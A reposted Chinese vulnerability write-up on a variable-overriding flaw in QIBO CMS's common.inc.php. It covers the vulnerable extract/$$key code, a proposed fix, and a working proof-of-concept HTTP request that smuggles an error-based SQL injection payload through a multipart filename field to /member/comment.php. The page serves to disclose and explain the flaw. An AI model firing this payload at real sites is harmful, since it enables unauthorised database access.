首頁 php教程 php手册 QIBO CMS /inc/common.inc.php Local Variables Overriding Vul

QIBO CMS /inc/common.inc.php Local Variables Overriding Vul

Jun 06, 2016 pm 07:48 PM
cms

目录 1 . 漏洞描述 2 . 漏洞触发条件 3 . 漏洞影响范围 4 . 漏洞代码分析 5 . 防御方法 6 . 攻防思考 1. 漏洞描述 齐博在/inc/common.inc.php使用$$_key=$value、extract等逻辑实现了外部输入变量的本地注册,这是模拟了GPC的功能,但同时也引入 " 本地变量

目录

<span>1</span><span>. 漏洞描述
</span><span>2</span><span>. 漏洞触发条件
</span><span>3</span><span>. 漏洞影响范围
</span><span>4</span><span>. 漏洞代码分析
</span><span>5</span><span>. 防御方法
</span><span>6</span>. 攻防思考
登入後複製

 

1. 漏洞描述

齐博在/inc/common.inc.php使用$$_key=$value、extract等逻辑实现了外部输入变量的本地注册,这是模拟了GPC的功能,但同时也引入<span>"</span><span>本地变量覆盖</span><span>"</span>、<span>"</span><span>本地变量未初始化</span><span>"</span><span>的安全风险
齐博CMS中的漏洞文件</span>/inc/common.inc.php使用 @extract($_FILES, EXTR_SKIP)来注册$_FILES的各变量,使用EXTR_SKIP来控制不覆盖已存在的变量。利用一个末初始化的变量覆盖漏洞,即可导致sql注入漏洞
登入後複製

Relevant Link:

http:<span>//</span><span>bbs.qibosoft.com/read-forum-tid-422299.htm</span>
登入後複製


2. 漏洞触发条件

0x1: 攻击入口

构造$_FILE的变量覆盖构造覆盖$cidDB变量,POST给/member/comment.php

<span>1</span>. 首先访问/member下面的<span>"</span><span>评论管理</span><span>"</span><span>功能,抓包

</span><span>2</span><span>. 在http request中构造一个attachment,如下:
</span><span>/*</span><span>
POST /qibo/member/comment.php?job=yz&yz=0 HTTP/1.1  
Host: 127.0.0.1  
Proxy-Connection: keep-alive  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,</span><span>*/</span>*;q=<span>0.8</span><span>  
User</span>-Agent: Mozilla/<span>5.0</span> (Windows NT <span>6.1</span>; WOW64) AppleWebKit/<span>537.36</span> (KHTML, like Gecko) Chrome/<span>28.0</span>.<span>1500.95</span> Safari/<span>537.36</span> SE <span>2</span>.X MetaSr <span>1.0</span><span>  
Referer: http:</span><span>//</span><span>127.0.0.1/qibo/member/comment.php?job=work  </span>
Accept-<span>Encoding: gzip,deflate,sdch  
Accept</span>-Language: zh-CN,zh;q=<span>0.8</span><span>  
Cookie: PHPSESSID</span>=<span>jo9rpav7l51iakidv01vr9fem1;   
passport</span>=<span>1</span>%09admin%09ClAKVgsEBglUAwcFUgRTDgRRCF9XUAZXBAcAVQIHBlc%3D94606de1fd; USR=fvqnvbj3%<span>0922</span>%<span>091425969668</span>%09http%3A%2F%2F127.<span>0.0</span>.<span>1</span>%2Fqibo%2Fmember%2Fcomment.php%3Fjob%<span>3Dwork  
Content</span>-Type: multipart/form-<span>data;   
boundary</span>=----<span>WebKitFormBoundary6ukpBHoIrpHKtOkl  
Content</span>-Length: <span>227</span>  
   
------<span>WebKitFormBoundary6ukpBHoIrpHKtOkl  
Content</span>-Disposition: form-data; name=<span>"</span><span>cidDB</span><span>"</span>; filename=<span>"</span><span>1' and EXP(~(select * from(select user())a)) -- </span><span>"</span><span>  
Content</span>-Type: text/<span>plain  
   
</span><span>1111</span>  
------WebKitFormBoundary6ukpBHoIrpHKtOkl--
*/<span>
注意将原来的URL上的cidDB[]</span>=<span>x删除掉;
然后构造一个文件上传的报文(GET改为POST方法)
在filename处填入注入的payload

</span><span>3</span><span>. 提交该数据包,即可注入成功
</span><span>//</span><span>这次的变量覆盖是抓住了extract的EXTR_SKIP只检查已经存在的变量,但是有些没有声明的变量还是会被覆盖</span>
登入後複製

Relevant Link:

http:<span>//</span><span>bobao.360.cn/learning/detail/291.html</span>
登入後複製


3. 漏洞影响范围

齐博所有系统、所有版本


4. 漏洞代码分析

\qibo\inc\common.inc.php

<span>/*</span><span>
全局变量文件对GPC变量的过滤
从代码中可以看淡,通过$_FILE传的值,POST的内容受GPC影响,因此只能利用$_FILE变量的$key绕过add_S函数
这里,$_FILS在传递参数时,是数组形式,因此可以默认使用$_FILES的$key去覆盖
</span><span>*/</span><span>
$_POST</span>=<span>Add_S($_POST);
$_GET</span>=<span>Add_S($_GET);
$_COOKIE</span>=<span>Add_S($_COOKIE);

function Add_S($array)
{
    </span><span>foreach</span>($array <span>as</span> $key=><span>$value)
    {
        </span><span>if</span>(!<span>is_array($value))
        {
            $value</span>=str_replace(<span>"</span><span></span><span>"</span>,<span>"</span><span>& # x</span><span>"</span>,$value);    <span>//</span><span>过滤一些不安全字符</span>
            $value=preg_replace(<span>"</span><span>/eval/i</span><span>"</span>,<span>"</span><span>eva l</span><span>"</span>,$value);    <span>//</span><span>过滤不安全函数</span>
            !get_magic_quotes_gpc() && $value=<span>addslashes($value);
            $array[$key]</span>=<span>$value;
        }
        </span><span>else</span><span>
        {
            $array[$key]</span>=<span>Add_S($array[$key]); 
        }
    }
    </span><span>return</span><span> $array;
}

</span><span>if</span>(!ini_get(<span>'</span><span>register_globals</span><span>'</span><span>))
{
    @extract($_FILES,EXTR_SKIP);
}

</span><span>foreach</span>($_COOKIE AS $_key=><span>$_value)
{
    unset($$_key);
}
</span><span>foreach</span>($_POST AS $_key=><span>$_value)
{
    </span>!ereg(<span>"</span><span>^\_[A-Z]+</span><span>"</span>,$_key) && $$_key=<span>$_POST[$_key];
}
</span><span>foreach</span>($_GET AS $_key=><span>$_value)
{
    </span>!ereg(<span>"</span><span>^\_[A-Z]+</span><span>"</span>,$_key) && $$_key=<span>$_GET[$_key];
}</span>
登入後複製


5. 防御方法

\qibo\inc\common.inc.php

<span>if</span>(!ini_get(<span>'</span><span>register_globals</span><span>'</span><span>))
{
    $array </span>= array(<span>'</span><span>Filedata</span><span>'</span>,<span>'</span><span>postfile</span><span>'</span>,<span>'</span><span>upfile</span><span>'</span>,<span>'</span><span>fileData</span><span>'</span>,<span>'</span><span>Filedata</span><span>'</span><span>);
    </span><span>foreach</span>($array AS $key=><span>$value)
    {
        is_array($_FILES[$value]) </span>&& $$value =<span> $_FILES[$value];
    }
}</span>
登入後複製


6. 攻防思考

Copyright (c) 2014 LittleHann All rights reserved

 

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

熱門話題

Java教學
1664
14
CakePHP 教程
1421
52
Laravel 教程
1315
25
PHP教程
1266
29
C# 教程
1239
24
PHP框架與CMS整合:技術融合的無限可能 PHP框架與CMS整合:技術融合的無限可能 Jun 01, 2024 pm 05:16 PM

PHP框架與CMS整合的好處有:1.提高開發效率;2.增強安全性;3.內容管理簡化;4.彈性。實戰案例中,將Laravel框架與WordPressCMS集成,創建了具有自訂功能的部落格網站,集成步驟包括創建Laravel應用程式、安裝WordPress、配置WordPress、創建控制器、定義路由、獲取WordPress數據、在Laravel視圖中顯示數據。

如何使用PHP CMS系統進行金融類網站開發 如何使用PHP CMS系統進行金融類網站開發 Aug 25, 2023 am 10:06 AM

隨著網路的普及和發展,金融類網站變得越來越重要。金融類網站對於金融業開展業務、行銷宣傳、品牌建立等方面,都有著舉足輕重的作用。而如今,隨著CMS系統的普及和逐漸成熟,越來越多的企業開始選擇使用CMS系統來進行網站開發。本文將重點放在如何使用PHPCMS系統在開發金融類網站的應用。一、認識CMS系統CMS系統是內容管理系統的縮寫,它是指一種可以快速創造

PHPcms與其他系統整合的實用技巧 PHPcms與其他系統整合的實用技巧 Mar 15, 2024 am 08:18 AM

PHPcms與其他系統整合的實用技巧隨著網路技術的不斷發展,網站開發領域也變得愈加多樣化和複雜化。在實際的專案中,我們常常會面對不同系統之間需要整合的情況,這就需要我們具備一定的技巧和經驗來解決這些問題。本文將針對PHPcms系統與其他系統整合的情況,介紹一些實用的技巧和具體的程式碼範例,幫助開發者更好地應對挑戰。一、整合基本原理在進行系統整合時,首先需

PHP框架與CMS:整合背後隱藏的機制 PHP框架與CMS:整合背後隱藏的機制 May 31, 2024 pm 08:05 PM

PHP框架與CMS整合的機制包括:鉤子和事件,允許CMS掛鉤框架的生命週期事件。架橋和適配器,提供標準化方法呼叫CMS功能。自我包含的程式碼,使CMS能夠獨立於框架運作。實戰案例:透過建立自訂路由、控制器和導入資料庫轉儲,可以將WordPress部落格整合到Laravel框架中。

如何用Java實現CMS系統的圖片浮水印功能 如何用Java實現CMS系統的圖片浮水印功能 Aug 27, 2023 am 11:27 AM

如何用Java實作CMS系統的圖片浮水印功能摘要:在CMS系統中加入圖片浮水印功能可以有效防止圖片被竄改和盜用。本文將介紹如何以Java實現CMS系統的圖片浮水印功能,並提供程式碼範例。簡介隨著網路的普及和數位相機的普及,圖片的盜用和篡改已經成為一個常見的問題。為了保護圖片的版權,許多CMS系統都會加入圖片浮水印功能。圖片浮水印是在圖片上添加一些可識別資訊的技術,例如拍

建構PHP雲端轉碼CMS系統,實現視訊轉碼服務 建構PHP雲端轉碼CMS系統,實現視訊轉碼服務 Mar 16, 2024 am 08:30 AM

建構PHP雲端轉碼CMS系統,實現視訊轉碼服務隨著網路視訊的快速發展,視訊轉碼服務變得越來越重要。為了滿足用戶對影片轉碼的需求,建構一個PHP雲端轉碼CMS系統是一個不錯的選擇。在本文中,將介紹如何建立一個簡單的PHP雲端轉碼CMS系統,並提供具體的程式碼範例。首先,我們要準備一個基本的PHP開發環境。確保安裝了PHP和MySQL,並擁有一個Web伺服器,如Apa

帝國CMS目錄位置揭秘 帝國CMS目錄位置揭秘 Mar 12, 2024 pm 10:33 PM

帝國CMS目錄位置揭秘,需要具體程式碼範例帝國CMS(EmpireCMS)是一款廣泛使用的開源內容管理系統,其靈活性和功能豐富性深受使用者喜愛。在網站開發過程中,了解帝國CMS的目錄結構及文件位置是至關重要的,因為這有助於開發人員更好地管理網站內容和功能。本文將揭示帝國CMS的目錄位置,同時提供具體的程式碼範例,以幫助讀者深入了解這個內容管理系統。 1.基本目錄結

PHPcms欄位快取儲存路徑揭秘 PHPcms欄位快取儲存路徑揭秘 Mar 14, 2024 pm 03:18 PM

PHPcms是一款功能強大的內容管理系統,它在網站開發中被廣泛應用。欄位快取是PHPcms中重要的功能,能夠提高網站存取速度並減輕伺服器壓力。本文將揭秘PHPcms欄位快取的儲存路徑,並提供具體的程式碼範例。 1.什麼是欄位快取欄位快取是指將網站中的欄位內容產生靜態文件,並儲存在指定的路徑中,當使用者造訪該欄位時直接讀取靜態文件,而不是每次都動態產生頁面。這

See all articles